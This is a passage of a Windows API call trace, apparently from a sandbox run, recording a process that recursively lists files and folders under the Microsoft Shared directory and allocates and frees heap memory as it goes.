nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0165.517] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0165.517] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0165.517] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0165.517] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0165.518] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0165.518] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0165.518] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0165.518] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0165.518] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0165.518] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0165.518] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0165.518] GetProcessHeap () returned 0x6a0000 [0165.518] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0165.518] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0165.518] GetProcessHeap () returned 0x6a0000 [0165.519] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0165.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0165.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0165.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0165.521] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0165.521] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0165.521] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0165.521] GetProcessHeap () returned 0x6a0000 [0165.521] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0165.521] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0165.521] GetProcessHeap () returned 0x6a0000 [0165.521] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0165.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0165.523] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.523] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0165.523] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0165.523] GetProcessHeap () returned 0x6a0000 [0165.524] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.526] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.526] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.526] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.526] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.526] GetProcessHeap () returned 0x6a0000 [0165.526] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.526] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0165.526] GetProcessHeap () returned 0x6a0000 [0165.526] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.526] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.526] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.526] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.527] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.527] GetProcessHeap () returned 0x6a0000 [0165.527] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0165.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0165.527] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0165.527] GetProcessHeap () returned 0x6a0000 [0165.527] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.527] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.527] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.527] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.527] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.528] GetProcessHeap () returned 0x6a0000 [0165.528] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.528] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0165.528] GetProcessHeap () returned 0x6a0000 [0165.528] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.528] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.528] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.528] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, 